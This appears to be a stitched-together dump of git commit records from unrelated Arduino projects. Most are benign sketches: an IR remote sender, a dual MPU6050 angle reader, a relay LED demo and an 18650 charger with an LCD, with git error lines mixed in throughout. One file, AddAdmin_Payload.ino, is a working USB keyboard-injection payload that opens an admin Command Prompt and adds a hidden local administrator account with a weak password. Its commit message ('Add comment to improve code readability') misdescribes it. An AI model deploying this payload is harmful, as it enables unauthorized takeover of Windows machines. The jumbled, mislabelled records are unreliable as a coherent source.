+**
+**  Pin 1  (Reset):                          Pin 28  (A5):
+**  Pin 2  (D0/RX):                          Pin 27  (A4):
+**  Pin 3  (D1/TX):                          Pin 26  (A3):
+**  Pin 4  (D2):                             Pin 25  (A2):
+**  Pin 5  (D3/PWM):                         Pin 24  (A1):
+**  Pin 6  (D4):                             Pin 23  (A0):       Module Input
+**  Pin 7  (PWR):                            Pin 22  (GND):
+**  Pin 8  (GND):                            Pin 21  (AREF):
+**  Pin 9  (XTAL1):                          Pin 20  (AVCC):
+**  Pin 10 (XTAL2):                          Pin 19  (D13):
+**  Pin 11 (D5/PWM):                         Pin 18  (D12):
+**  Pin 12 (D6/PWM):                         Pin 17  (D11/PWM):
+**  Pin 13 (D7):                             Pin 16  (D10/PWM):
+**  Pin 14 (D8):                             Pin 15  (D9/PWM):
+**
+**
+**  Created on xx/yy/zz.
+**  By Akbar Akbari
+**  Modified on xx/yy/zz.
+**  By Asghar Asghari
+**
+**  MakerWear Link:
+**  Github Link:      github.com/myjeeed/MakerWear
+**
+*/
+
+//#include <FilteredAnalogInput.h>
+#include <IRremote2.h>
+
+int input_pin = A0;                              //pin 23 on ATmega328
+int filter_size = 15;                        //Noise reduction filter size
+//int ir_pin = 11;                            //pin 17 on ATmega328
+//Library automatically uses D3 to send signal
+
+//FilteredAnalogInput input(input_pin, filter_size);
+
+IRsend irsend;
+
+void setup()
+{
+  Serial.begin(9600);
+}
+
+void loop()
+{
+ int input_val = analogRead(input_pin);
+
+   if(input_val < 128)
+    sendIR(0x001,12);
+   else if(input_val > 128 && input_val <= 256)
+    sendIR(0x002,12);
+   else if(input_val > 256 && input_val <= 384)
+    sendIR(0x004,12);
+   else if(input_val > 384 && input_val <= 512)
+    sendIR(0x008,12);
+   else if(input_val > 512 && input_val <= 640)
+    sendIR(0x010,12);
+   else if(input_val > 640 && input_val <= 768)
+    sendIR(0x020,12);
+   else if(input_val > 768 && input_val <= 896)
+    sendIR(0x040,12);
+   else if(input_val > 896)
+    sendIR(0x080,12);
+}
+
+void sendIR(unsigned long hex, int nbits){
+    for (int i = 0; i < 3; i++) {
+      irsend.sendSony(hex, nbits); // Sony TV power code
+      delay(40);
+    }
+    Serial.println(hex,HEX);
+}


Adding foundation framework for using two GY-521 MPU6050 breakout boards and reading angles from each of them.  Use this as a starting point for your dual-mpu projects.

error: pathspec 'GY-521-2x-MPU6050-Base/GY-521-2x-MPU6050-Base.ino' did not match any file(s) known to git

--- GY-521-2x-MPU6050-Base/GY-521-2x-MPU6050-Base.ino
+++ GY-521-2x-MPU6050-Base/GY-521-2x-MPU6050-Base.ino
@@ -0,0 +1,352 @@
+/**
+ * GY-521-2x-MPU6050-Base.ino
+ *
+ * @author Mike Muscato
+ * @date   2017-07-04
+ *
+ * =============  Attribution ==========================
+ * Based on MPU6050_Latest_code.ino
+ * Originally provided by "HC" aka "zhomeslice" on forum.arduino.cc
+ * at https://forum.arduino.cc/index.php?PHPSESSID=h4c6487i42hbb7uh6rjk0eadp1&topic=446713.msg3073854#msg3073854
+ *
+ * Original source committed in my repo for reference at: arduino/MPU6050/MPU6050_Latest_code/
+ * =====================================================
+ *
+ */
+
+// Arduino Library must include the following library file collections.
+// These repos are forked on my gitHub or you can find them at...
+// https://github.com/jrowberg/i2cdevlib
+#include "I2Cdev.h"
+#include "MPU6050_6Axis_MotionApps20.h"
+#include "Wire.h"
+
+// Standard included arduino servo library
+#include "Servo.h"
+
+// Comment to turn off Serial printing
+#define DEBUG
+
+// DEBUG serial printing macros to limit serial monitor rate
+#ifdef DEBUG
+  //#define DPRINT(args...)  Serial.print(args)             //OR use the following syntax:
+  #define DPRINTSTIMER(t)    for (static unsigned long SpamTimer; (unsigned long)(millis() - SpamTimer) >= (t); SpamTimer = millis())
+  #define  DPRINTSFN(StrSize,Name,...) {char S[StrSize];Serial.print("\t");Serial.print(Name);Serial.print(" "); Serial.print(dtostrf((float)__VA_ARGS__ ,S));}//StringSize,Name,Variable,Spaces,Percision
+  #define DPRINTLN(...)      Serial.println(__VA_ARGS__)
+#else
+  #define DPRINTSTIMER(t)    if(false)
+  #define DPRINTSFN(...)     //blank line
+  #define DPRINTLN(...)      //blank line
+#endif
+
+// Initialize gyro instance
+// TODO:  Update this to initialize two gyros with +VDC/Ground arguments
+MPU6050 mpus[2] = {MPU6050(0x68), MPU6050(0x69)};
+
+const int LED_PIN = 13;
+
+// You must supply your gyro offsets here,
+// Use MPU6050_calibration.ino found at:
+//     https://forum.arduino.cc/index.php?PHPSESSID=h4c6487i42hbb7uh6rjk0eadp1&topic=446713.msg3073854#msg3073854
+//
+// Calibration code also copied in my repo:  arduino/MPU6050/
+//
+// Gyro 0 calibrated at:  {-3074,  -2036,  1236,    63,    -16,     78}
+// Gyro 1 calibrated at:  {-1143,  -1197,   989,   147,    -78,    -10}
+//
+//                           XA      YA      ZA     XG      YG      ZG
+int mpuOffsets[2][6] =  {
+                          {-3074,  -2036,  1236,    63,    -16,     78},
+                          {-1143,  -1197,   989,   147,    -78,    -10}
+                        };
+
+// vars for angle values.
+float Yaw, Pitch, Roll;
+
+
+
+
+// ================================================================
+// ===                      i2c SETUP Items                     ===
+// ================================================================
+void i2cSetup() {
+  // Join I2C bus (I2Cdev library doesn't do this automatically)
+#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE
+  Wire.begin();
+  TWBR = 24; // 400kHz I2C clock (200kHz if CPU is 8MHz)
+#elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE
+  Fastwire::setup(400, true);
+#endif
+}
+
+
+
+
+// ================================================================
+// ===               INTERRUPT DETECTION ROUTINE                ===
+// ================================================================
+volatile bool mpuInterrupt[2] = {false, false};     // indicates whether MPU interrupt pin has gone high
+
+//Intentional duplication. Interrupt routine cannot pass args.
+void dmpDataReady0() {
+    mpuInterrupt[0] = true;
+}
+void dmpDataReady1() {
+    mpuInterrupt[1] = true;
+}
+
+
+
+
+// ================================================================
+// ===                      MPU DMP SETUP                       ===
+// ================================================================
+// MPU control/status vars
+
+//This isn't used anywhere, I think we can get rid of it.
+//uint8_t mpuIntStatus;   // holds actual interrupt status byte from MPU
+
+uint8_t devStatus;      // return status after each initialization operation (0 = success, !0 = error)
+
+//Containers for each MPU's communication
+int FifoAlive[2] = {0, 0}; // tests if the interrupt is triggering
+uint16_t packetSize[2];    // expected DMP packet size (default is 42 bytes)
+uint16_t fifoCount[2];     // count of all bytes currently in FIFO
+uint8_t fifoBuffer[2][64]; // FIFO storage buffer
+
+// orientation/motion vars
+// (overwritten during each read/calculate cycle so they do not need to be duplicated for each MPU)
+Quaternion q;           // [w, x, y, z]         quaternion container
+VectorFloat gravity;    // [x, y, z]            gravity vector
+float ypr[3];           // [yaw, pitch, roll]   yaw/pitch/roll container and gravity vector
+
+
+//Not used anywhere in the code, can probably remove this
+//int IsAlive = -20;     // counts interrupt start at -20 to get 20+ good values before assuming connected
+//VectorInt16 aa;         // [x, y, z]            accel sensor measurements
+//VectorInt16 aaReal;     // [x, y, z]            gravity-free accel sensor measurements
+//VectorInt16 aaWorld;    // [x, y, z]            world-frame accel sensor measurements
+//float euler[3];         // [psi, theta, phi]    Euler angle container
+
+
+
+
+
+/**
+ * MPU6050 Connection / Initialization routine
+ * =============================================================
+ *
+ * @author Modified by Mike Muscato to enable dual MPU configuration
+ * @date   2017-07-04
+ *
+ */
+void MPU6050Connect() {
+
+  for (int i = 0; i < 2; i++) {
+    Serial.print(F("Initializing MPU ")); Serial.println(i);
+
+    static int MPUInitCntr = 0;  //Counter for looping and eventual initialization failure.
+
+    // initialize device
+    mpus[i].initialize();
+    // load and configure the DMP
+    devStatus = mpus[i].dmpInitialize();
+
+    if (devStatus != 0) {
+
+      // ERROR Checking!
+      // 1 = initial memory load failed
+      // 2 = DMP configuration updates failed
+      // (if it's going to break, usually the code will be 1)
+
+      char *StatStr[5] { "No Error", "initial memory load failed", "DMP configuration updates failed", "3", "4"};
+
+      MPUInitCntr++;
+
+      Serial.print(F("MPU")); Serial.print(i); Serial.print(F(" connection Try #")); Serial.println(MPUInitCntr);
+      Serial.print(F("DMP Initialization failed (code ")); Serial.print(StatStr[devStatus]); Serial.println(F(")"));
+
+      if (MPUInitCntr >= 10) return; //only try 10 times
+      delay(1000);
+      MPU6050Connect(); // Lets try again
+      return;
+    }
+
+    //Set offset values for each of our MPUs from our array.
+    mpus[i].setXAccelOffset(mpuOffsets[i][0]);
+    mpus[i].setYAccelOffset(mpuOffsets[i][1]);
+    mpus[i].setZAccelOffset(mpuOffsets[i][2]);
+    mpus[i].setXGyroOffset(mpuOffsets[i][3]);
+    mpus[i].setYGyroOffset(mpuOffsets[i][4]);
+    mpus[i].setZGyroOffset(mpuOffsets[i][5]);
+
+    Serial.print(F("Enabling DMP on MPU")); Serial.println(i);
+    mpus[i].setDMPEnabled(true);
+
+    // enable Arduino interrupt detection
+    int intPin = i + 2;
+    Serial.print(F("Enabling interrupt detection on MPU")); Serial.print(i); Serial.print(F("(Arduino external interrupt pin ")); Serial.print(intPin); Serial.println(F(" on the Uno)..."));
+    Serial.print(F("mpu")); Serial.print(i); Serial.print(F(".getInterruptDrive=  ")); Serial.println(mpus[i].getInterruptDrive());  //Current interrupt drive mode (0=push-pull, 1=open-drain)
+
+    //Intentional duplication. Interrupt routine cannot pass args.
+    if (i == 0) {
+      attachInterrupt(i, dmpDataReady0, RISING);
+    }
+    else {
+      attachInterrupt(i, dmpDataReady1, RISING);
+    }
+
+    //This isn't used anywhere, I think we can get rid of it.
+    //Also does not appear to be used in the MPU6050 class anywhere?
+    //mpuIntStatus = mpus[i].getIntStatus();
+
+    packetSize[i] = mpus[i].dmpGetFIFOPacketSize();  // get expected DMP packet size for later comparison
+    delay(1000); // Let it Stabalize
+    mpus[i].resetFIFO(); // Clear fifo buffer
+
+    //This isn't used anywhere, I think we can get rid of it.
+    //Also does not appear to be used in the MPU6050 class anywhere?
+    //mpus[i].getIntStatus();
+
+    mpuInterrupt[i] = false; // wait for next interrupt
+
+  }
+
+}
+
+
+
+/**
+ * GetDMP Reads the data from our MPUs and stores it in each mpus instance.
+ * =============================================================
+ *
+ * @author Modified by Mike Muscato to enable dual MPU configuration
+ * @date   2017-07-04
+ *
+ */
+void GetDMP() {
+
+  for (int i = 0; i < 2; i++) {
+    mpuInterrupt[i] = false;
+    FifoAlive[i] = 1;
+    fifoCount[i] = mpus[i].getFIFOCount();
+
+    if ((!fifoCount[i]) || (fifoCount[i] % packetSize[i])) { // we have failed Reset and wait till next time!
+      digitalWrite(LED_PIN, LOW); // lets turn off the blinking LED so we can see we are failing.
+        mpus[i].resetFIFO();// clear the buffer and start over
+    }
+    else {
+      while (fifoCount[i]  >= packetSize[i]) { // Get the packets until we have the latest!
+          mpus[i].getFIFOBytes(fifoBuffer[i], packetSize[i]); // lets do the magic and get the data
+          fifoCount[i] -= packetSize[i];
+      }
+    }
+  }
+
+  //LastGoodPacketTime = millis();  TODO:  This isn't doing anything, remove it?  Not sure why it was here.
+  MPUMath(); // Successful!  Do the math and show angles from both MPUs
+  digitalWrite(LED_PIN, !digitalRead(LED_PIN)); // Blink the LED on each cycle
+
+}
+
+
+/**
+ * MPUMath Calculates angles of MPUs from raw sensor data
+ * =============================================================
+ *
+ * @author Modified by Mike Muscato to enable dual MPU configuration
+ * @date   2017-07-04
+ *
+ */
+void MPUMath() {
+  for (int i = 0; i < 2; i++) {
+
+    //Get the raw data from the sensor
+    mpus[i].dmpGetQuaternion(&q, fifoBuffer[i]);
+    mpus[i].dmpGetGravity(&gravity, &q);
+    mpus[i].dmpGetYawPitchRoll(ypr, &q, &gravity);
+
+    //Calculate readable angles
+    Yaw = (ypr[0] * 180.0 / M_PI);
+    Pitch = (ypr[1] *  180.0 / M_PI);
+    Roll = (ypr[2] *  180.0 / M_PI);
+
+    // Serial.print the current angle values of the gyro position.
+    // DPRINTSTIMER(x) argument is the number of milliseconds between print events
+    // Smaller numbers give more reliable switching between MPU 0 an 1 but seem to cause crashing (Buffer overrun?)
+    DPRINTSTIMER(1) {
+      DPRINTSFN(15, "\tValues for MPU :", i, 6, 1);
+      DPRINTSFN(15, "\tYaw:", Yaw, 6, 1);
+      DPRINTSFN(15, "\tPitch:", Pitch, 6, 1);
+      DPRINTSFN(15, "\tRoll:", Roll, 6, 1);
+      DPRINTLN();
+    }
+
+  }
+}
+
+
+
+
+/**
+ * =============================================================
+ * ===                 Arduino Setup                         ===
+ * =============================================================
+ *
+ * @author Mike Muscato
+ * @date   2017-01-30
+ *
+ * @return {void}
+ */
+void setup() {
+  Serial.begin(38400);
+  while (!Serial);  // Wait for the connection to be established?
+
+  // Run MPU initializations
+  Serial.println(F("i2cSetup"));
+  i2cSetup();
+  Serial.println(F("MPU6050 Connection Routine"));
+  MPU6050Connect();
+  Serial.println(F("Setup complete"));
+
+  pinMode(LED_PIN, OUTPUT);
+}
+
+
+/**
+ * =============================================================
+ * ===                  Arduino Loop                         ===
+ * =============================================================
+ *
+ * @author Mike Muscato
+ * @date   2017-01-30
+ *
+ * @return {void}
+ */
+void loop() {
+  if (mpuInterrupt[0] && mpuInterrupt[1]) { // Wait for MPU interrupt or extra packet(s) available on both MPUs
+    GetDMP();
+  }
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+


Create door.ino

Create door.ino

error: pathspec 'Version' did not match any file(s) known to git
error: pathspec '1.2/No_bell/door.ino' did not match any file(s) known to git


add example

add example

error: pathspec 'examples/relayLED/relayLED.ino' did not match any file(s) known to git

--- examples/relayLED/relayLED.ino
+++ examples/relayLED/relayLED.ino
@@ -0,0 +1,25 @@
+#include <Relay.h>
+
+//esp8266 LED is inverted
+#define RELAY_PIN LED_BUILTIN
+Relay r;
+
+void setup() {
+  // put your setup code here, to run once:
+  Serial.begin(115200);
+  r.begin(RELAY_PIN, true);
+  Serial.println();
+  Serial.println("Relay is begin and inverted is true");
+}
+
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("Relay (LED) is Off");
+  r.setOff();
+  delay(2000);
+  Serial.println("Relay (LED) is On");
+  r.setOn();
+  delay(2000);
+
+}


set pin d3 as emergency

set pin d3 as emergency

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/jeremywrnr/wampum.git/'


Add comment to improve code readability

Add comment to improve code readability

error: pathspec 'AddAdmin_Payload/AddAdmin_Payload.ino' did not match any file(s) known to git

--- AddAdmin_Payload/AddAdmin_Payload.ino
+++ AddAdmin_Payload/AddAdmin_Payload.ino
@@ -0,0 +1,54 @@
+#include <HID.h>
+#include <Keyboard.h>
+
+// Init function
+void setup()
+{
+  // Start Keyboard and Mouse
+  Keyboard.begin();
+
+  // Start Payload
+  // press Windows+X
+  Keyboard.press(KEY_LEFT_GUI);
+  delay(1000);
+  Keyboard.press('x');
+  Keyboard.releaseAll();
+  delay(500);
+
+  // launch Command Prompt (Admin)
+  typeKey('a');
+  delay(3000);
+
+  // klik "Yes"
+  typeKey(KEY_LEFT_ARROW);
+  typeKey(KEY_RETURN);
+  delay(1000);
+
+  // add user
+  Keyboard.println("net user /add Arduino 123456");
+  typeKey(KEY_RETURN);
+  delay(100);
+
+  // make that user become admin
+  Keyboard.print("net localgroup administrators Arduino /add");
+  typeKey(KEY_RETURN);
+  delay(100);
+
+  Keyboard.print("exit");
+  typeKey(KEY_RETURN);
+  // End Payload
+
+  // Stop Keyboard and Mouse
+  Keyboard.end();
+}
+
+// Unused
+void loop() {}
+
+// Utility function
+void typeKey(int key){
+  Keyboard.press(key);
+  delay(500);
+  Keyboard.release(key);
+}
+


Update Stromzaehler.ino

Update Stromzaehler.ino

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/VinFar/SML-Reader-STM32F0.git/'


initial commit for ChargerBox - 18650 charger/discharger with buttons and LCD

error: pathspec 'ChargerBox/ChargerBox.ino' did not match any file(s) known to git

--- ChargerBox/ChargerBox.ino
+++ ChargerBox/ChargerBox.ino
@@ -0,0 +1,312 @@
+#include <SPI.h>
+#include "Wire.h"
+#include "LCD.h"
+#include "LiquidCrystal_I2C.h"
+#include <EEPROM.h>
+
+bool light = true;
+int lastLight = 0;
+
+enum MODE_ENUM
+{
+    MODE_VCC = 0,
+    MODE_BUTTONS,
+    MODE_TIME,
+    MODE_VOLTAGE,
+    MODE_LCD_TIMER,
+    NUM_MODE_ENUMS,
+    MODE_SERIAL_MON,
+};
+
+char str_vcc[6];
+char str_volt[6];
+char serial_buf1[20];
+char serial_buf2[20];
+int serial_buf_line_no = 1;
+
+int eeprom_address = 0;
+
+MODE_ENUM lastMode = MODE_VCC;
+int last_mode_button = 0;
+int mode = MODE_VOLTAGE;
+int last_mode = mode;
+int photo_res = 0;
+double voltage = 0;
+LiquidCrystal_I2C lcd(0x3f, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);
+
+
+unsigned long lastSeconds = 0;
+unsigned long lastMillis = 0;
+unsigned long elapsedMillis = 0;
+unsigned long totalSeconds = 0;
+unsigned long seconds = 0;
+unsigned long minutes = 0;
+unsigned long hours = 0;
+unsigned long lcd_timer = 0;
+unsigned long lcd_timeout = 20;
+
+unsigned long getTime()
+{
+    unsigned long Millis = millis();
+    if ( Millis < lastMillis ) // overflow!
+    {
+        lastMillis = 0;
+    }
+    unsigned long currentSeconds = ( Millis / 1000 );
+    unsigned long elapsedSeconds = ( currentSeconds - lastSeconds );
+
+    elapsedMillis = Millis - lastMillis;
+    lastMillis = Millis;
+    if ( elapsedSeconds > 0 )
+    {
+        seconds += elapsedSeconds;
+        totalSeconds += elapsedSeconds;
+        lastSeconds = currentSeconds;
+        lcd_timer += elapsedSeconds;
+    }
+    if ( seconds >= 60 )
+    {
+        ++minutes;
+        seconds = 0;
+    }
+    if ( minutes >= 60 )
+    {
+        ++hours;
+        minutes = 0;
+    }
+    return elapsedMillis;
+}
+
+void GetButtonsStr( char* str )
+{
+    int btn1 = digitalRead(4);
+    int btn2 = digitalRead(5);
+    int btn3 = digitalRead(6);
+    int btn4 = digitalRead(7);
+    int btn5 = digitalRead(8);
+    sprintf(str, "%d %d %d %d %d", btn1, btn2, btn3, btn4, btn5 );
+}
+
+void display( int _mode )
+{
+    char line1[24] = "                         ";
+    char line2[24] = "                         ";
+    sprintf(line1, "%02d:%02d:%02dHHHHHHHHHHHHHHHHHHH", hours, minutes, seconds);
+    sprintf(line2, "%16s", "");
+
+    switch ( _mode )
+    {
+    case MODE_VCC:
+        sprintf(line2, "VCC: %sV", str_vcc );
+        break;
+    case MODE_TIME:
+        sprintf(line1, "TIME FROM START:");
+        sprintf(line2, "%02ld:%02ld:%02ld        ", hours, minutes, seconds);
+        break;
+    case MODE_VOLTAGE:
+        sprintf(line1, "%16s", "INPUT VOLTAGE:");
+        sprintf(line2, "%16s", str_volt);
+        break;
+    case MODE_BUTTONS:
+        char str[16];
+        GetButtonsStr( str );
+        sprintf(line1, "CURRENT BUTTONS STATE:");
+        sprintf(line2, "%s", str);
+        break;
+    case MODE_LCD_TIMER:
+        sprintf(line1, "%02ld:%02ld:%02ld   %d    ", hours, minutes, seconds, lcd_timer);
+        sprintf(line2, "LCD timeout %d       ", lcd_timeout);
+        break;
+    case MODE_SERIAL_MON:
+        sprintf(line1, "%s", serial_buf2);
+        sprintf(line2, "%s", serial_buf1);
+        break;
+    default:
+        sprintf(line2, "DFT mode %d %s", _mode, "      " );
+        break;
+    }
+    lcd.setCursor(0, 0);
+    lcd.print(line1);
+    lcd.setCursor(0, 1);
+    lcd.print(line2);
+}
+
+struct SButtons
+{
+    int mode_button   : 1;
+    int up_button     : 1;
+    int left_button   : 1;
+    int right_button  : 1;
+    int bottom_button : 1;
+    int enter_button  : 1;
+};
+
+SButtons g_Buttons;
+SButtons g_LastButtons;
+
+void ReadButtons()
+{
+    g_Buttons.mode_button = digitalRead(2);
+    g_Buttons.left_button = digitalRead(4);
+    g_Buttons.up_button = digitalRead(5);
+    g_Buttons.right_button = digitalRead(6);
+    g_Buttons.bottom_button = digitalRead(7);
+    g_Buttons.enter_button = digitalRead(8);
+}
+
+bool ButtonsChanged()
+{
+    if ( g_Buttons.mode_button != g_LastButtons.mode_button ||
+        g_Buttons.left_button != g_LastButtons.left_button ||
+        g_Buttons.up_button != g_LastButtons.up_button ||
+        g_Buttons.right_button != g_LastButtons.right_button ||
+        g_Buttons.bottom_button != g_LastButtons.bottom_button ||
+        g_Buttons.enter_button != g_LastButtons.enter_button )
+    {
+        return true;
+    }
+    return false;
+}
+
+void clear_screen()
+{
+    //clear lcd:
+    char line1[16] = "                ";
+    char line2[16] = "                ";
+    lcd.setCursor(0, 0);
+    lcd.print(line1);
+    lcd.setCursor(0, 1);
+    lcd.print(line2);
+}
+
+void setup()
+{
+    // put your setup code here, to run once:
+
+    int value = EEPROM.read(eeprom_address);
+    if ( value != 0)
+    {
+        lcd_timeout = value;
+    }
+
+    //Initialise the LCD
+    lcd.begin (16, 2);
+    lcd.setBacklight(HIGH);
+    lcd.print("LCD POWER MONITOR");
+    lcd.setCursor(0, 1);
+    lcd.print("LI-IO CHARGE/DISCHARGE");
+    pinMode(13, INPUT);
+    pinMode(12, OUTPUT);
+    pinMode(2, INPUT);
+    pinMode(4, INPUT);
+    pinMode(5, INPUT);
+    pinMode(6, INPUT);
+    pinMode(7, INPUT);
+    pinMode(8, INPUT);
+    delay(500);
+
+    Serial.begin(9600);
+    while (!Serial);
+
+    Serial.println("I'm Alive (nano) with LCD");
+    sprintf( serial_buf1, "                ");
+    sprintf( serial_buf2, "                ");
+}
+
+void loop()
+{
+    if ( mode != MODE_SERIAL_MON)
+    {
+        mode %= NUM_MODE_ENUMS;
+    }
+    ReadButtons();
+
+    if ( ButtonsChanged() )
+    {
+        lcd_timer = 0;
+        light = true;
+    }
+    int mode_button = digitalRead(2);
+    elapsedMillis = getTime();
+    double vcc = ((double) readVcc() / 1000.0);
+    dtostrf(vcc, 5, 3, str_vcc);
+
+    voltage = (vcc * (double)analogRead( 0 )) / 1023.0;
+    dtostrf(voltage, 3, 2, str_volt);
+    str_volt[4] = 'V';
+
+    if (Serial.available())
+    {
+        int i = 0;
+        sprintf( serial_buf2, "%s", serial_buf1);
+        sprintf( serial_buf1, "                ");
+        while (Serial.available() > 0)
+        {
+            char c = Serial.read();
+            if ( i++ < 16 && c != '\n')
+                serial_buf1[i] = c;
+            Serial.write(c);
+        };
+        light = 1;
+        lcd_timer = 0;
+        mode = MODE_SERIAL_MON;
+    }
+    delay(100);
+    display(mode);
+
+    if ( last_mode_button == 0 && mode_button == 1)
+    {
+        mode++;
+        mode %= NUM_MODE_ENUMS;
+        clear_screen();
+    }
+
+    if ( mode == MODE_LCD_TIMER)
+    {
+        // Serial.write("mode timer");
+        if ( g_Buttons.up_button != 0 &&
+            g_LastButtons.up_button == 0)
+        {
+            lcd_timer = 0;
+            if ( lcd_timeout == 0 )
+                lcd_timeout++;
+            lcd_timeout *= 2;
+            if ( lcd_timeout > 255 )
+                lcd_timeout = 0;
+            light = 1;
+            EEPROM.write(eeprom_address, lcd_timeout);
+        }
+    }
+
+    if ( lcd_timer > lcd_timeout &&
+        lcd_timeout > 0 )
+    {
+        light = 0;
+    }
+
+    last_mode_button = mode_button;
+    lastLight = light;
+    lastMode = mode;
+    g_LastButtons = g_Buttons;
+
+    lcd.setBacklight( light ? HIGH : LOW );
+    last_mode = mode;
+}
+
+long readVcc()
+{
+    long result;
+    // Read 1.1V reference against AVcc
+    ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);
+    delay(2);
+    // Wait for Vref to settle
+    ADCSRA |= _BV(ADSC);
+    while (bit_is_set(ADCSRA, ADSC));
+    // Convert
+    result = ADCL;
+    result |= ADCH << 8;
+    result = 1126400L / result; // Back-calculate AVcc in mV
+    result += 32; // to match my multimeter
+    return result;
+}
+